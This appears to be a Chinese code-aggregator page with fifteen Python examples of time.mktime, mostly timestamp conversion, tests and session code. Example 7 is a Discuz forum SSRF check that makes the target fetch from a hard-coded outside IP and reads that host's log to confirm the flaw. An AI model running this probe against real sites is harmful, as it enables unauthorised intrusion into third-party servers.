本文整理汇总了Python中time.mktime方法的典型用法代码示例。如果您正苦于以下问题:Python time.mktime方法的具体用法?Python time.mktime怎么用?Python time.mktime使用的例子?那么恭喜您, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在类time
的用法示例。
在下文中一共展示了time.mktime方法的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Python代码示例。
示例1: get_records
# 需要导入模块: import time [as 别名]
# 或者: from time import mktime [as 别名]
def get_records(self, start_time, end_time, msgid=1, number=10000):
"""
获取客服聊天记录
:param start_time: 查询开始时间,UNIX 时间戳
:param end_time: 查询结束时间,UNIX 时间戳,每次查询不能跨日查询
:param msgid: 消息id顺序从小到大,从1开始
:param number: 每次获取条数,最多10000条
:return: 返回的 JSON 数据包
"""
if isinstance(start_time, datetime.datetime):
start_time = time.mktime(start_time.timetuple())
if isinstance(end_time, datetime.datetime):
end_time = time.mktime(end_time.timetuple())
record_data = {
"starttime": int(start_time),
"endtime": int(end_time),
"msgid": msgid,
"number": number,
}
res = self._post("https://api.weixin.qq.com/customservice/msgrecord/getmsglist", data=record_data,)
return res
示例2: update_data_start_time
# 需要导入模块: import time [as 别名]
# 或者: from time import mktime [as 别名]
def update_data_start_time():
if "FileReplay" in parameters['mode'] and reporting_config_vars['prev_endtime'] != "0" and len(
reporting_config_vars['prev_endtime']) >= 8:
start_time = reporting_config_vars['prev_endtime']
# pad a second after prev_endtime
start_time_epoch = 1000 + long(1000 * time.mktime(time.strptime(start_time, "%Y%m%d%H%M%S")));
end_time_epoch = start_time_epoch + 1000 * 60 * reporting_config_vars['reporting_interval']
elif reporting_config_vars['prev_endtime'] != "0":
start_time = reporting_config_vars['prev_endtime']
# pad a second after prev_endtime
start_time_epoch = 1000 + long(1000 * time.mktime(time.strptime(start_time, "%Y%m%d%H%M%S")));
end_time_epoch = start_time_epoch + 1000 * 60 * reporting_config_vars['reporting_interval']
else: # prev_endtime == 0
end_time_epoch = int(time.time()) * 1000
start_time_epoch = end_time_epoch - 1000 * 60 * reporting_config_vars['reporting_interval']
return start_time_epoch
# update prev_endtime in config file
示例3: morsel_to_cookie
# 需要导入模块: import time [as 别名]
# 或者: from time import mktime [as 别名]
def morsel_to_cookie(morsel):
"""Convert a Morsel object into a Cookie containing the one k/v pair."""
expires = None
if morsel['max-age']:
expires = time.time() + morsel['max-age']
elif morsel['expires']:
time_template = '%a, %d-%b-%Y %H:%M:%S GMT'
expires = time.mktime(
time.strptime(morsel['expires'], time_template)) - time.timezone
return create_cookie(
comment=morsel['comment'],
comment_url=bool(morsel['comment']),
discard=False,
domain=morsel['domain'],
expires=expires,
name=morsel.key,
path=morsel['path'],
port=None,
rest={'HttpOnly': morsel['httponly']},
rfc2109=False,
secure=bool(morsel['secure']),
value=morsel.value,
version=morsel['version'] or 0,
)
示例4: backtracking_id
# 需要导入模块: import time [as 别名]
# 或者: from time import mktime [as 别名]
def backtracking_id(site):
cookies = cookies_raw2jar(site['cookies'])
for _tid in range(site['start_torrent'], site['end_torrent'] + 2):
t0 = time.time()
_link = site['torrent_url'].format(_tid)
torrent_page = requests.get(_link, cookies=cookies, headers=headers)
title_search = re.search(site['search_ptn'], torrent_page.text)
if title_search:
_title = pymysql.escape_string(unescape(title_search.group("title")))
pubDate = re.search("发布于(.+?)<", torrent_page.text).group(1)
_timestamp = time.mktime(time.strptime(pubDate, "%Y-%m-%d %H:%M:%S"))
wrap_insert(site=site['name'], sid=_tid, title=_title, link=_link, pubdate=_timestamp, t=t0)
else:
print("ID: {}, Cost: {:.5f} s, No torrent.".format(_tid, time.time() - t0))
time.sleep(2)
示例5: test_Date
# 需要导入模块: import time [as 别名]
# 或者: from time import mktime [as 别名]
def test_Date():
d1 = snowflake.connector.dbapi.Date(
2002, 12, 25)
d2 = snowflake.connector.dbapi.DateFromTicks(
time.mktime((
2002,
12,
25,
0,
0,
0,
0,
0,
0)))
# API doesn't specify, but it seems to be implied
assert str(d1) == str(d2)
示例6: test_Timestamp
# 需要导入模块: import time [as 别名]
# 或者: from time import mktime [as 别名]
def test_Timestamp():
t1 = snowflake.connector.dbapi.Timestamp(
2002,
12,
25, 13,
45,
30)
t2 = snowflake.connector.dbapi.TimestampFromTicks(
time.mktime(
(
2002,
12,
25,
13,
45,
30,
0,
0,
0))
)
# API doesn't specify, but it seems to be implied
assert str(t1) == str(t2)
示例7: check
# 需要导入模块: import time [as 别名]
# 或者: from time import mktime [as 别名]
def check(ip, port, timeout=10):
url = ip + ':' + port
headers = {
"User-Agent": "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50",
}
time_stamp = time.mktime(datetime.datetime.now().timetuple())
m = hashlib.md5(str(time_stamp).encode(encoding='utf-8'))
md5_str = m.hexdigest()
payload = "/forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http://45.76.158.91:6868/" + md5_str + ".jpg[/img]&formhash=09cec465"
vulnurl = url + payload
try:
req = requests.get(vulnurl, headers=headers, timeout=10, verify=False)
eye_url = "http://45.76.158.91/web.log"
time.sleep(6)
reqr = requests.get(eye_url, timeout=timeout, verify=False)
if md5_str in reqr.text:
return u"存在discuz论坛forum.php参数message SSRF漏洞"
except:
pass
示例8: _get_hour
# 需要导入模块: import time [as 别名]
# 或者: from time import mktime [as 别名]
def _get_hour():
'''
返回上个小时的时间戳
假如现在是 2018.11.21 19:44:02, 那么返回 '1542794400'
即 2018.11.21 18:00:00 的时间戳
返回值:
字符串;上个小时的时间戳
'''
return int(
time.mktime(
time.strptime(
time.strftime("%Y-%m-%d %H"), "%Y-%m-%d %H")
)
)-3600
示例9: test_multiline_formatter_puts_message_lines_into_data_area
# 需要导入模块: import time [as 别名]
# 或者: from time import mktime [as 别名]
def test_multiline_formatter_puts_message_lines_into_data_area():
"""
We want logs to look like:
01 19:36:09.823 |This is
|multiline
|content
"""
from moler.config.loggers import MultilineWithDirectionFormatter
formatter = MultilineWithDirectionFormatter(fmt="%(asctime)s.%(msecs)03d |%(message)s", datefmt="%d %H:%M:%S")
tm_struct = time.strptime("2000-01-01 19:36:09", "%Y-%m-%d %H:%M:%S")
epoch_tm = time.mktime(tm_struct)
logging_time = epoch_tm
log_rec = logging.makeLogRecord({'msg': "This is\nmultiline\ncontent",
'created': logging_time, 'msecs': 823})
output = formatter.format(log_rec)
assert output == "01 19:36:09.823 |This is\n" \
" |multiline\n" \
" |content"
示例10: timestamp
# 需要导入模块: import time [as 别名]
# 或者: from time import mktime [as 别名]
def timestamp(dt):
if dt.tzinfo is None:
from time import mktime
return mktime((dt.year, dt.month, dt.day, dt.hour, dt.minute, dt.second, -1, -1, -1)) + dt.microsecond / 1e6
else:
from dateutil.tz import tzutc
return (dt - datetime.datetime(1970, 1, 1, tzinfo=tzutc())).total_seconds()
示例11: to_xml
# 需要导入模块: import time [as 别名]
# 或者: from time import mktime [as 别名]
def to_xml(self, value):
value = time.mktime(datetime.timetuple(value))
value = int(value)
return f"<{self.name}>{value}</{self.name}>"
示例12: _to_timestamp
# 需要导入模块: import time [as 别名]
# 或者: from time import mktime [as 别名]
def _to_timestamp(cls, date):
if isinstance(date, str):
date = datetime.strptime(date, "%Y-%m-%d %H:%M:%S")
if isinstance(date, datetime):
timestamp = int(time.mktime(date.timetuple()))
return timestamp
return int(date)
示例13: _save
# 需要导入模块: import time [as 别名]
# 或者: from time import mktime [as 别名]
def _save(self, expiration_time):
# Send the expiration time as "Unix time" (seconds since 1/1/1970)
td = int(time.mktime(expiration_time.timetuple()))
self.mc_lock.acquire()
try:
if not self.cache.set(self.id, (self._data, expiration_time), td):
raise AssertionError(
'Session data for id %r not set.' % self.id)
finally:
self.mc_lock.release()
示例14: test_session_expiration_set_to_configured_lifetime
# 需要导入模块: import time [as 别名]
# 或者: from time import mktime [as 别名]
def test_session_expiration_set_to_configured_lifetime(self, time_mock, utc_time_sans_frac_mock):
timestamp = time.mktime(datetime(2017, 1, 1).timetuple())
time_mock.return_value = timestamp
utc_time_sans_frac_mock.return_value = int(timestamp)
exp_time = 10
state = 'test_state'
nonce = 'test_nonce'
id_token = IdToken(iss=self.PROVIDER_BASEURL,
aud=self.CLIENT_ID,
sub='sub1',
exp=int(timestamp) + exp_time,
iat=int(timestamp),
nonce=nonce)
token_response = {'access_token': 'test', 'token_type': 'Bearer', 'id_token': id_token.to_jwt()}
token_endpoint = self.PROVIDER_BASEURL + '/token'
responses.add(responses.POST, token_endpoint, json=token_response)
session_lifetime = 1234
self.app.config['PERMANENT_SESSION_LIFETIME'] = session_lifetime
self.init_app(provider_metadata_extras={'token_endpoint': token_endpoint})
with self.app.test_client() as client:
with client.session_transaction() as session:
UserSession(session, self.PROVIDER_NAME)
session['destination'] = '/'
session['state'] = state
session['nonce'] = nonce
resp = client.get('/redirect_uri?state={}&code=test'.format(state))
cookies = SimpleCookie()
cookies.load(resp.headers['Set-Cookie'])
session_cookie_expiration = cookies[self.app.config['SESSION_COOKIE_NAME']]['expires']
parsed_expiration = datetime.strptime(session_cookie_expiration, '%a, %d-%b-%Y %H:%M:%S GMT')
cookie_lifetime = (parsed_expiration - datetime.utcnow()).total_seconds()
assert cookie_lifetime == pytest.approx(session_lifetime, abs=1)
示例15: _time_str_to_unix
# 需要导入模块: import time [as 别名]
# 或者: from time import mktime [as 别名]
def _time_str_to_unix(timestring):
"""
:type timestring: Union[str, int]
:rtype: Union[int, None]
"""
if isinstance(timestring, (int, float)):
return timestring
try:
t = int(time.mktime(datetime.strptime(timestring, '%a, %d %b %Y %H:%M:%S %Z').timetuple()))
except:
t = None
return t